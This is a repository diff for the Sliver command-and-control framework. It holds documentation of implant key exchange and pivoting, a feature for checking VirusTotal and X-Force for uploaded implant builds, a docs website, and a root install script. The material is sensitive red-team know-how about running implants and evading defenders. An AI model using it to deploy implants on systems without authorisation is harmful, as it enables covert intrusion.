The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's peer public key:
1. Age public key of server
2. Age implant "peer" public key
3. Age implant "peer" private key
4. A minisign signature of the implant's age peer public key (signed by server's private key)
5. The server's minisign public key
### Server to Implant Key Exchange
1. Implant generates random 256-bit symmetric "session key"
2. Implant generates:
- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key
- Uses Age to encrypt session key and HMAC-SHA256 with server's public key
3. Implant sends `[SHA2-256 Hash of Public Key | Age Ciphertext ]` to server.
4. Server decrypts message with its private key
5. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
7. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
### Implant to Implant Key Exchange (Pivots)
1. An implant starts a pivot listener (the listener)
2. Another implant connects to the listener (the initiator)
3. The initiator sends its Age public key and the minisign signature of its public key
4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
5. The listener generates a random session key and encrypts it with the initiator's verified public key
6. The listener sends its Age public key, the minisign signature of its public key, and the encrypted session key back to the initiator
7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
8. The initiator decrypts the session key using Age
9. All messages are encrypted with the session key using ChaCha20Poly1305
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
### Known Limitations
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
3. While messages cannot be replayed, valid messages can potentially be re-ordered.
# Versions 1.5.0+
⚠️ This version of the key exchange is [vulnerable to MitM attack](https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q)
The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's public key:
1. ECC public key of server
2. ECC implant public key
3. ECC implant private key
4. A minisign signature of the implant ECC public key (signed by server's private key)
5. The server's minisign public key
6. TOTP shared secret (server-wide shared secret)
### Server to Implant Key Exchange
1. Implant generates random 256-bit symmetric "session key"
2. Implant generates:
- Current TOTP code using SHA2-256, Unix UTC, 8-digit numeric code
- SHA2-256 hash of its own ECC public key
- Uses Nacl Box (Curve25519, XSalsa20, and Poly1305) to encrypt session key with server's public ECC key
3. Implant sends `[ TOTP Code | SHA2-256 Hash of Public Key | Nacl Box Ciphertext ]` to server, note: in this scheme no ECC keys (even public keys) are ever sent over the wire, instead we only send the hash of the public key.
4. Server verifies TOTP Code (can optionally be disabled per listener server-side).
5. Server uses the SHA2-256 hash of public key to look up the implant's full ECC public key in its database
6. Decrypts Nacl with sender public key + server private key
7. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
8. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
9. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
### Implant to Implant Key Exchange (Pivots)
1. An implant starts a pivot listener (the listener)
2. Another implant connects to the listener (the initiator)
3. The initiator sends its ECC public key and the minisign signature of its public key
4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
5. The listener generates a random session key and encrypts it with the initiator's verified public key
6. The listener sends its ECC public key, the minisign signature of its public key, and the encrypted session key back to the initiator
7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
8. The initiator decrypts the session key using Nacl Box (Curve25519, XSalsa20, and Poly1305)
9. All messages are encrypted with the session key using ChaCha20Poly1305
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above but without the TOTP code. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
### Known Limitations
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
3. Session initialization messages can be replayed within the validity period of the TOTP value. TOTP values are valid for 30 seconds + 30 second margin of error, so the session initialization message can be replayed within about ~60 second period without obtaining a new TOTP code. However, the implant must use the session key to register itself post-key exchange so replayed session initialization does not appear to be a security risk even outside of the restrictive window.
4. While messages cannot be replayed, valid messages can potentially be re-ordered.
@@ -0,0 +1,20 @@
## Server/Client Troubleshooting
### Server logs
Server related logs are saved to: `~/.sliver/logs/`
- `sliver.log` is the main log file for server related events
- `console.log` is the log of the server's built-in "client" console
- `sliver.json` JSON formatted log (includes timestamps)
- `audit.json` a JSON formatted history of commands/activity
The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files)
### Client logs
`~/.sliver-client/sliver-client.log`
## Implant Troubleshooting
If you need to trouble shoot an issue (connectivity, etc) with an implant try generating it with the `--debug` flag.
@@ -0,0 +1,15 @@
The Sliver server has a built-in capability to periodically monitor VirusTotal and IBM X-Force for implant hashes to determine whether implant builds have been uploaded to such platform.
To set it up, update your `$HOME/.sliver/configs/server.json` and set the following values in the `watchtower` object:
```json
{
"watch_tower": {
"vt_api_key": "YOUR_VIRUSTTOTAL_API_KEY",
"xforce_api_key": "YOUR_XFORCE_API_KEY",
"xforce_api_password": "YOUR_XFORCE_API_PASSWORD"
}
}
```
Once that is done, restart the Sliver server. You can now use the `monitor start` and `monitor stop` commands to start and stop periodic monitoring of your implant builds on VirusTotal and IBM X-Force.
The server is configured to stay below the limits of requests for the free tier component for each providers. This means 4 requests per minute / 500 requests per day for VirusTotal, and 6 requests per hour for X-Force. More details on the implementation can be found [here](https://github.com/lesnuages/snitch).
+48
View File
@@ -0,0 +1,48 @@
import AsciinemaPlayer from "@/components/asciinema";
import { Card, CardBody, CardHeader, Divider } from "@nextui-org/react";
export default function Home() {
return (
<div className="grid grid-cols-12 mt-2">
<div className="col-span-1"></div>
<div className="col-span-5 mr-2">
<AsciinemaPlayer
src="/asciinema/intro.cast"
rows="18"
cols="75"
idleTimeLimit={2}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
<div className="col-span-5 ml-2">
<Card>
<CardHeader>
<span className="text-2xl">Sliver Command &amp; Control</span>
</CardHeader>
<Divider />
<CardBody>
<p className="prose">
Sliver is a Command and Control (C2) system made for penetration
testers, red teams, and blue teams. It generates implants that can
run on virtually every architecture out there, and securely manage
these connections through a central server. Sliver supports
multiple callback protocols including DNS, Mutual TLS (mTLS),
WireGuard, and HTTP(S) to make egress simple, even when those
pesky blue teams block your domains. You can even have multiple
operators (players) simultaneously commanding your sliver army.
</p>
</CardBody>
</Card>
</div>
<div className="col-span-1"></div>
{/* <div className="col-span-1"></div>
<div className="col-span-10 mt-2">
<Divider />
</div>
<div className="col-span-1"></div> */}
</div>
);
}
@@ -0,0 +1,11 @@
import { NextPage } from "next";
const IndexPage: NextPage = () => {
return (
<div>
<p>Coming soon...</p>
</div>
);
};
export default IndexPage;
+6
View File
@@ -0,0 +1,6 @@
module.exports = {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
}
@@ -0,0 +1,25 @@
const fs = require('fs/promises');
const path = require('path');
const workingDirectory = process.cwd();
const directoryPath = `${workingDirectory}/pages/docs/md`;
async function generateSiteMap() {
const ls = await fs.readdir(directoryPath);
const files = ls.filter((file) => file.endsWith('.md'));
const docs = [];
for (const file of files) {
const filePath = path.join(directoryPath, file);
const fileContent = await fs.readFile(filePath, 'utf8');
const name = path.basename(file).replace('.md', '');
docs.push({
name: name,
content: fileContent,
});
};
return {docs: docs};
}
generateSiteMap().then(async (sitemap) => {
await fs.writeFile(`${workingDirectory}/public/docs.json`, JSON.stringify(sitemap));
});
View File
Whitespace-only changes.
@@ -0,0 +1,24 @@
{"version": 2, "width": 131, "height": 43, "timestamp": 1702682950, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.104914, "o", " \r\r"]
[0.163494, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]"]
[0.164283, "o", "\r\n"]
[0.164915, "o", "└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m "]
[0.165844, "o", "\u001b[K\u001b[?1h\u001b="]
[0.166833, "o", "\u001b[?2004h"]
[0.999787, "o", "\u001b[36m.\u001b[39m"]
[1.025721, "o", "\b\u001b[39m\u001b[1m.\u001b[1m/\u001b[0m"]
[1.427538, "o", "\b\b\u001b[1m.\u001b[1m/\u001b[1ms\u001b[0m"]
[1.465703, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"]
[1.567542, "o", "\b\u001b[1ml\u001b[1mi\u001b[0m"]
[1.950963, "o", "\b\u001b[1mi\u001b[1mv\u001b[0m"]
[2.059322, "o", "\b\u001b[1mv\u001b[1me\u001b[0m"]
[2.320926, "o", "\b\b\b\b\b\b\b\u001b[0m\u001b[36m.\u001b[0m\u001b[36m/\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr-server\u001b[39m\u001b[1m \u001b[0m"]
[2.995616, "o", "\b\u001b[0m \b"]
[2.996544, "o", "\u001b[?1l\u001b>"]
[3.000576, "o", "\u001b[?2004l"]
[3.001763, "o", "\r\r\n"]
[3.122345, "o", "\u001b[m"]
[3.12272, "o", "\u001b[31m\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\n"]
[3.124753, "o", "\u001b[0m\r\nAll hackers gain jump-start\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[1m[server] \u001b[0m\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[5.29313, "o", "\u001b[J\u001b[2K\r"]
Binary file not shown.

After

Width:  |  Height:  |  Size: 98 KiB

+191
View File
@@ -0,0 +1,191 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID="4449039C"
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
INSTALLER=(pacman -S)
else
echo "Unsupported OS, exiting"
exit
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
fi
done
cd /root || exit
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
EOF
# Download and Unpack Sliver Server
echo "Fetching latest Sliver release URLs..."
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
if test -f "/root/$SLIVER_SERVER"; then
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /usr/local/bin/sliver
else
exit 3
fi
# systemd
echo "Configuring systemd service ..."
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.de",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["Array","Boolescher Wert","Klasse","Konstante","Konstruktor","Enumeration","Enumerationsmember","Ereignis","Feld","Datei","Funktion","Schnittstelle","Schl\xFCssel","Methode","Modul","Namespace","NULL","Zahl","Objekt","Operator","Paket","Eigenschaft","Zeichenfolge","Struktur","Typparameter","Variable","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.de.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.es",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["matriz","booleano","clase","constante","constructor","enumeraci\xF3n","miembro de la enumeraci\xF3n","evento","campo","archivo","funci\xF3n","interfaz","clave","m\xE9todo","m\xF3dulo","espacio de nombres","NULL","n\xFAmero","objeto","operador","paquete","propiedad","cadena","estructura","par\xE1metro de tipo","variable","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.es.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.fr",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["tableau","bool\xE9en","classe","constante","constructeur","\xE9num\xE9ration","membre d'\xE9num\xE9ration","\xE9v\xE9nement","champ","fichier","fonction","interface","cl\xE9","m\xE9thode","module","espace de noms","NULL","nombre","objet","op\xE9rateur","package","propri\xE9t\xE9","cha\xEEne","struct","param\xE8tre de type","variable","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.fr.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.it",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["matrice","valore booleano","classe","costante","costruttore","enumerazione","membro di enumerazione","evento","campo","file","funzione","interfaccia","chiave","metodo","modulo","spazio dei nomi","Null","numero","oggetto","operatore","pacchetto","propriet\xE0","stringa","struct","parametro di tipo","variabile","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.it.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.ja",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u914D\u5217","\u30D6\u30FC\u30EB\u5024","\u30AF\u30E9\u30B9","\u5B9A\u6570","\u30B3\u30F3\u30B9\u30C8\u30E9\u30AF\u30BF\u30FC","\u5217\u6319\u578B","\u5217\u6319\u578B\u30E1\u30F3\u30D0\u30FC","\u30A4\u30D9\u30F3\u30C8","\u30D5\u30A3\u30FC\u30EB\u30C9","\u30D5\u30A1\u30A4\u30EB","\u95A2\u6570","\u30A4\u30F3\u30BF\u30FC\u30D5\u30A7\u30A4\u30B9","\u30AD\u30FC","\u30E1\u30BD\u30C3\u30C9","\u30E2\u30B8\u30E5\u30FC\u30EB","\u540D\u524D\u7A7A\u9593","NULL","\u6570\u5024","\u30AA\u30D6\u30B8\u30A7\u30AF\u30C8","\u6F14\u7B97\u5B50","\u30D1\u30C3\u30B1\u30FC\u30B8","\u30D7\u30ED\u30D1\u30C6\u30A3","\u6587\u5B57\u5217","\u69CB\u9020\u4F53","\u578B\u30D1\u30E9\u30E1\u30FC\u30BF\u30FC","\u5909\u6570","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.ja.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["array","boolean","class","constant","constructor","enumeration","enumeration member","event","field","file","function","interface","key","method","module","namespace","null","number","object","operator","package","property","string","struct","type parameter","variable","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.ko",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\uBC30\uC5F4","\uBD80\uC6B8","\uD074\uB798\uC2A4","\uC0C1\uC218","\uC0DD\uC131\uC790","\uC5F4\uAC70\uD615","\uC5F4\uAC70\uD615 \uBA64\uBC84","\uC774\uBCA4\uD2B8","\uD544\uB4DC","\uD30C\uC77C","\uD568\uC218","\uC778\uD130\uD398\uC774\uC2A4","\uD0A4","\uBA54\uC11C\uB4DC","\uBAA8\uB4C8","\uB124\uC784\uC2A4\uD398\uC774\uC2A4","Null","\uC22B\uC790","\uAC1C\uCCB4","\uC5F0\uC0B0\uC790","\uD328\uD0A4\uC9C0","\uC18D\uC131","\uBB38\uC790\uC5F4","\uAD6C\uC870\uCCB4","\uD615\uC2DD \uB9E4\uAC1C \uBCC0\uC218","\uBCC0\uC218","{0}({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.ko.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
